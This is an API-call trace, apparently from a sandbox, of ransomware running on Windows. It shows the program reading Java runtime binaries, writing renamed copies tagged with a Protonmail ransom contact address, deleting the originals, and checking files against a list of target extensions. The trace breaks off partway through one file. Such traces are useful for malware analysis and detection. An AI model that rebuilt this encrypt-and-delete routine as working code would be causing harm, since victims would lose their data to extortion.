	[0094.185] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kinit.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\kinit.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398
	[0094.185] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1
	[0094.185] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1
	[0094.185] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kinit.exe.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\kinit.exe.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360
	[0094.185] GetLastError () returned 0x0
	[0094.185] ReadFile (in: hFile=0x398, lpBuffer=0x3a10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesRead=0x350fecc*=0x4040, lpOverlapped=0x0) returned 1
	[0094.236] WriteFile (in: hFile=0x360, lpBuffer=0x3a10020*, nNumberOfBytesToWrite=0x4050, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesWritten=0x350fc94*=0x4050, lpOverlapped=0x0) returned 1
	[0094.237] ReadFile (in: hFile=0x398, lpBuffer=0x3a10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesRead=0x350fecc*=0x0, lpOverlapped=0x0) returned 1
	[0094.237] WriteFile (in: hFile=0x360, lpBuffer=0x3a10020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesWritten=0x350fc94*=0xe6, lpOverlapped=0x0) returned 1
	[0094.237] SetEndOfFile (hFile=0x360) returned 1
	[0094.237] CloseHandle (hObject=0x360) returned 1
	[0094.237] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1
	[0094.237] SetEndOfFile (hFile=0x398) returned 1
	[0094.238] CloseHandle (hObject=0x398) returned 1
	[0094.238] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kinit.exe.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0094.238] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kinit.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\kinit.exe")) returned 1
	[0094.239] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kinit.exe") returned 48
	[0094.239] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kinit.exe") returned 48
	[0094.239] lstrlenW (lpString=".doc") returned 4
	[0094.239] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1
	[0094.239] lstrlenW (lpString=".docx") returned 5
	[0094.239] lstrcmpiW (lpString1=".docx", lpString2="t.exe") returned -1
	[0094.239] lstrlenW (lpString=".pdf") returned 4
	[0094.239] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1
	[0094.239] lstrlenW (lpString=".xls") returned 4
	[0094.239] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1
	[0094.239] lstrlenW (lpString=".xlsx") returned 5
	[0094.239] lstrcmpiW (lpString1=".xlsx", lpString2="t.exe") returned -1
	[0094.239] lstrlenW (lpString=".ppt") returned 4
	[0094.239] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1
	[0094.239] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kinit.exe") returned 48
	[0094.239] lstrlenW (lpString=".zip") returned 4
	[0094.239] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1
	[0094.239] lstrlenW (lpString=".rar") returned 4
	[0094.239] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1
	[0094.239] lstrlenW (lpString=".bz2") returned 4
	[0094.239] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1
	[0094.239] lstrlenW (lpString=".7z") returned 3
	[0094.239] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1
	[0094.239] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kinit.exe") returned 48
	[0094.239] lstrlenW (lpString=".dbf") returned 4
	[0094.239] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1
	[0094.239] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kinit.exe") returned 48
	[0094.239] lstrlenW (lpString=".1cd") returned 4
	[0094.239] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1
	[0094.239] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kinit.exe") returned 48
	[0094.239] lstrlenW (lpString=".jpg") returned 4
	[0094.239] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1
	[0094.239] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kinit.exe") returned 48
	[0094.240] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kinit.exe") returned 48
	[0094.240] lstrlenW (lpString=".doc") returned 4
	[0094.240] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1
	[0094.240] lstrlenW (lpString=".docx") returned 5
	[0094.240] lstrcmpiW (lpString1=".docx", lpString2="t.exe") returned -1
	[0094.240] lstrlenW (lpString=".pdf") returned 4
	[0094.240] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1
	[0094.240] lstrlenW (lpString=".xls") returned 4
	[0094.240] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1
	[0094.240] lstrlenW (lpString=".xlsx") returned 5
	[0094.240] lstrcmpiW (lpString1=".xlsx", lpString2="t.exe") returned -1
	[0094.240] lstrlenW (lpString=".ppt") returned 4
	[0094.240] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1
	[0094.240] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kinit.exe") returned 48
	[0094.240] lstrlenW (lpString=".zip") returned 4
	[0094.240] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1
	[0094.240] lstrlenW (lpString=".rar") returned 4
	[0094.240] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1
	[0094.240] lstrlenW (lpString=".bz2") returned 4
	[0094.240] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1
	[0094.240] lstrlenW (lpString=".7z") returned 3
	[0094.240] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1
	[0094.240] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kinit.exe") returned 48
	[0094.240] lstrlenW (lpString=".dbf") returned 4
	[0094.240] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1
	[0094.240] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kinit.exe") returned 48
	[0094.240] lstrlenW (lpString=".1cd") returned 4
	[0094.240] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1
	[0094.240] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kinit.exe") returned 48
	[0094.240] lstrlenW (lpString=".jpg") returned 4
	[0094.240] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1
	[0094.240] lstrcmpiW (lpString1=".dll", lpString2=".Z9") returned -1
	[0094.241] lstrlenW (lpString="lcms.dll") returned 8
	[0094.241] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\lcms.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\lcms.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0094.302] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x350ff14 | out: lpFileSize=0x350ff14*=233536) returned 1
	[0094.302] CloseHandle (hObject=0x338) returned 1
	[0094.302] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\lcms.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\lcms.dll")) returned 0x20
	[0094.302] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\lcms.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\lcms.dll.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0094.302] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\lcms.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\lcms.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0094.302] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1
	[0094.302] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1
	[0094.302] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\lcms.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\lcms.dll.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0094.302] GetLastError () returned 0x0
	[0094.302] ReadFile (in: hFile=0x338, lpBuffer=0x3a10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesRead=0x350fecc*=0x39040, lpOverlapped=0x0) returned 1
	[0094.348] WriteFile (in: hFile=0x370, lpBuffer=0x3a10020*, nNumberOfBytesToWrite=0x39050, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesWritten=0x350fc94*=0x39050, lpOverlapped=0x0) returned 1
	[0094.352] ReadFile (in: hFile=0x338, lpBuffer=0x3a10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesRead=0x350fecc*=0x0, lpOverlapped=0x0) returned 1
	[0094.352] WriteFile (in: hFile=0x370, lpBuffer=0x3a10020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesWritten=0x350fc94*=0xe4, lpOverlapped=0x0) returned 1
	[0094.353] SetEndOfFile (hFile=0x370) returned 1
	[0094.353] CloseHandle (hObject=0x370) returned 1
	[0094.353] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1
	[0094.353] SetEndOfFile (hFile=0x338) returned 1
	[0094.355] CloseHandle (hObject=0x338) returned 1
	[0094.355] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\lcms.dll.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0094.356] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\lcms.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\lcms.dll")) returned 1
	[0094.356] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\lcms.dll") returned 47
	[0094.356] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\lcms.dll") returned 47
	[0094.356] lstrlenW (lpString=".doc") returned 4
	[0094.356] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0094.356] lstrlenW (lpString=".docx") returned 5
	[0094.356] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1
	[0094.356] lstrlenW (lpString=".pdf") returned 4
	[0094.356] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0094.356] lstrlenW (lpString=".xls") returned 4
	[0094.356] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0094.356] lstrlenW (lpString=".xlsx") returned 5
	[0094.356] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1
	[0094.356] lstrlenW (lpString=".ppt") returned 4
	[0094.356] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0094.356] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\lcms.dll") returned 47
	[0094.356] lstrlenW (lpString=".zip") returned 4
	[0094.356] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0094.356] lstrlenW (lpString=".rar") returned 4
	[0094.356] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0094.356] lstrlenW (lpString=".bz2") returned 4
	[0094.356] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0094.356] lstrlenW (lpString=".7z") returned 3
	[0094.356] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0094.356] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\lcms.dll") returned 47
	[0094.356] lstrlenW (lpString=".dbf") returned 4
	[0094.356] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0094.356] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\lcms.dll") returned 47
	[0094.356] lstrlenW (lpString=".1cd") returned 4
	[0094.357] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0094.357] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\lcms.dll") returned 47
	[0094.357] lstrlenW (lpString=".jpg") returned 4
	[0094.357] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0094.357] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\lcms.dll") returned 47
	[0094.357] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\lcms.dll") returned 47
	[0094.357] lstrlenW (lpString=".doc") returned 4
	[0094.357] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0094.357] lstrlenW (lpString=".docx") returned 5
	[0094.357] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1
	[0094.357] lstrlenW (lpString=".pdf") returned 4
	[0094.357] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0094.357] lstrlenW (lpString=".xls") returned 4
	[0094.357] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0094.357] lstrlenW (lpString=".xlsx") returned 5
	[0094.357] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1
	[0094.357] lstrlenW (lpString=".ppt") returned 4
	[0094.357] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0094.357] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\lcms.dll") returned 47
	[0094.357] lstrlenW (lpString=".zip") returned 4
	[0094.357] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0094.357] lstrlenW (lpString=".rar") returned 4
	[0094.357] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0094.357] lstrlenW (lpString=".bz2") returned 4
	[0094.357] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0094.357] lstrlenW (lpString=".7z") returned 3
	[0094.357] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0094.357] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\lcms.dll") returned 47
	[0094.358] lstrlenW (lpString=".dbf") returned 4
	[0094.358] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0094.358] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\lcms.dll") returned 47
	[0094.358] lstrlenW (lpString=".1cd") returned 4
	[0094.358] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0094.358] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\lcms.dll") returned 47
	[0094.358] lstrlenW (lpString=".jpg") returned 4
	[0094.358] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0094.358] lstrcmpiW (lpString1=".dll", lpString2=".Z9") returned -1
	[0094.358] lstrlenW (lpString="msvcr120.dll") returned 12
	[0094.358] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr120.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\msvcr120.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0094.358] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x350ff14 | out: lpFileSize=0x350ff14*=963232) returned 1
	[0094.358] CloseHandle (hObject=0x338) returned 1
	[0094.358] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr120.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\msvcr120.dll")) returned 0x20
	[0094.358] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr120.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\msvcr120.dll.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0094.358] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr120.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\msvcr120.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0094.359] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1
	[0094.359] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1
	[0094.359] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr120.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\msvcr120.dll.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0094.359] GetLastError () returned 0x0
	[0094.359] ReadFile (in: hFile=0x338, lpBuffer=0x3a10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesRead=0x350fecc*=0xeb2a0, lpOverlapped=0x0) returned 1
	[0094.494] WriteFile (in: hFile=0x370, lpBuffer=0x3a10020*, nNumberOfBytesToWrite=0xeb2b0, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesWritten=0x350fc94*=0xeb2b0, lpOverlapped=0x0) returned 1
	[0094.874] ReadFile (in: hFile=0x338, lpBuffer=0x3a10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesRead=0x350fecc*=0x0, lpOverlapped=0x0) returned 1
	[0094.874] WriteFile (in: hFile=0x370, lpBuffer=0x3a10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesWritten=0x350fc94*=0xec, lpOverlapped=0x0) returned 1
	[0094.874] SetEndOfFile (hFile=0x370) returned 1
	[0094.874] CloseHandle (hObject=0x370) returned 1
	[0094.874] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1
	[0094.874] SetEndOfFile (hFile=0x338) returned 1
	[0094.890] CloseHandle (hObject=0x338) returned 1
	[0094.890] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr120.dll.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0094.890] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr120.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\msvcr120.dll")) returned 1
	[0094.890] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr120.dll") returned 51
	[0094.890] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr120.dll") returned 51
	[0094.891] lstrlenW (lpString=".doc") returned 4
	[0094.891] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0094.891] lstrlenW (lpString=".docx") returned 5
	[0094.891] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0094.891] lstrlenW (lpString=".pdf") returned 4
	[0094.891] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0094.891] lstrlenW (lpString=".xls") returned 4
	[0094.891] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0094.891] lstrlenW (lpString=".xlsx") returned 5
	[0094.891] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0094.891] lstrlenW (lpString=".ppt") returned 4
	[0094.891] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0094.891] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr120.dll") returned 51
	[0094.891] lstrlenW (lpString=".zip") returned 4
	[0094.891] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0094.891] lstrlenW (lpString=".rar") returned 4
	[0094.891] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0094.891] lstrlenW (lpString=".bz2") returned 4
	[0094.891] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0094.891] lstrlenW (lpString=".7z") returned 3
	[0094.891] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0094.891] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr120.dll") returned 51
	[0094.891] lstrlenW (lpString=".dbf") returned 4
	[0094.891] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0094.891] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr120.dll") returned 51
	[0094.891] lstrlenW (lpString=".1cd") returned 4
	[0094.891] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0094.891] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr120.dll") returned 51
	[0094.891] lstrlenW (lpString=".jpg") returned 4
	[0094.891] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0094.891] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr120.dll") returned 51
	[0094.891] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr120.dll") returned 51
	[0094.891] lstrlenW (lpString=".doc") returned 4
	[0094.891] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0094.891] lstrlenW (lpString=".docx") returned 5
	[0094.891] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0094.892] lstrlenW (lpString=".pdf") returned 4
	[0094.892] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0094.892] lstrlenW (lpString=".xls") returned 4
	[0094.892] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0094.892] lstrlenW (lpString=".xlsx") returned 5
	[0094.892] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0094.892] lstrlenW (lpString=".ppt") returned 4
	[0094.892] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0094.892] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr120.dll") returned 51
	[0094.892] lstrlenW (lpString=".zip") returned 4
	[0094.892] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0094.892] lstrlenW (lpString=".rar") returned 4
	[0094.892] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0094.892] lstrlenW (lpString=".bz2") returned 4
	[0094.892] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0094.892] lstrlenW (lpString=".7z") returned 3
	[0094.892] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0094.892] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr120.dll") returned 51
	[0094.892] lstrlenW (lpString=".dbf") returned 4
	[0094.892] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0094.892] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr120.dll") returned 51
	[0094.892] lstrlenW (lpString=".1cd") returned 4
	[0094.892] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0094.892] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr120.dll") returned 51
	[0094.892] lstrlenW (lpString=".jpg") returned 4
	[0094.892] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0094.892] lstrcmpiW (lpString1=".dll", lpString2=".Z9") returned -1
	[0094.892] lstrlenW (lpString="prism_d3d.dll") returned 13
	[0094.892] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_d3d.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\prism_d3d.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0094.893] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x350ff14 | out: lpFileSize=0x350ff14*=130624) returned 1
	[0094.893] CloseHandle (hObject=0x338) returned 1
	[0094.893] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_d3d.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\prism_d3d.dll")) returned 0x20
	[0094.893] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_d3d.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\prism_d3d.dll.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0094.894] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_d3d.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\prism_d3d.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0094.894] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1
	[0094.894] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1
	[0094.894] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_d3d.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\prism_d3d.dll.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0094.894] GetLastError () returned 0x0
	[0094.894] ReadFile (in: hFile=0x338, lpBuffer=0x3a10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesRead=0x350fecc*=0x1fe40, lpOverlapped=0x0) returned 1
